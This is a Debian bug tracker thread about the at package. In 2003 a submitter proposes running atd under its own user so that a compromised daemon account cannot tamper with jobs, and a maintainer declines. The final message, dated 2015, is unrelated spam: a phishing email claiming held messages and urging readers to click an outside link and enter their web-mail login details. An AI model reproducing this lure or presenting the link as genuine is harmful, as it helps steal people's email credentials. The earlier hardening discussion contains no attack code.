#178454 at: please give at its own group/user

Package:
at
Source:
at
Description:
Delayed job execution and batch processing
Submitter:
Robert Bihlmeyer
Date:
2015-07-15 12:00:04 UTC
Severity:
wishlist
#178454#5
Date:
2003-01-26 11:27:48 UTC
From:
To:
atd should use its own user for running and owner of the jobs
directory. Otherwise an attacker who got daemon by cracking another
process using this uid/gid can mess with at, potentially gaining root.

I've appended a patch that works for me.
#178454#10
Date:
2003-05-05 18:56:17 UTC
From:
To:
Is there any reason why this hasn't been implemented?

Could there be problems with at "jobs" (or whatever they're called,
crontabs?) expecting the old default group/user? If so, is that a bug in
them or something that's easy to work around or even something that could
be ignored?

     Drew Daniels
#178454#13
Date:
2003-05-05 18:56:17 UTC
From:
To:
Is there any reason why this hasn't been implemented?

Could there be problems with at "jobs" (or whatever they're called,
crontabs?) expecting the old default group/user? If so, is that a bug in
them or something that's easy to work around or even something that could
be ignored?

     Drew Daniels
#178454#18
Date:
2003-05-05 19:23:42 UTC
From:
To:
Because there is little to no point?  Very little (if anything?) uses the
daemon user, and I see no reason to make it its own user.
#178454#23
Date:
2003-05-05 19:26:25 UTC
From:
To:
Would the wontfix tag be appropriate? I'm trying to clean up the list of
security bugs so that they're more manageable.

     Drew Daniels
#178454#26
Date:
2003-05-05 19:26:25 UTC
From:
To:
Would the wontfix tag be appropriate? I'm trying to clean up the list of
security bugs so that they're more manageable.

     Drew Daniels
#178454#31
Date:
2015-07-15 11:57:31 UTC
From:
To:
Dear User

Due to recent upgrades on our servers; Your 2 (Two) incoming Emails are on
hold. Please validate below to retrieve your email...

CLICK HERE<http://outlookwebapp.esy.es/>  and log in with your correct web-mail details'


With best regards,
Web-Mail Team?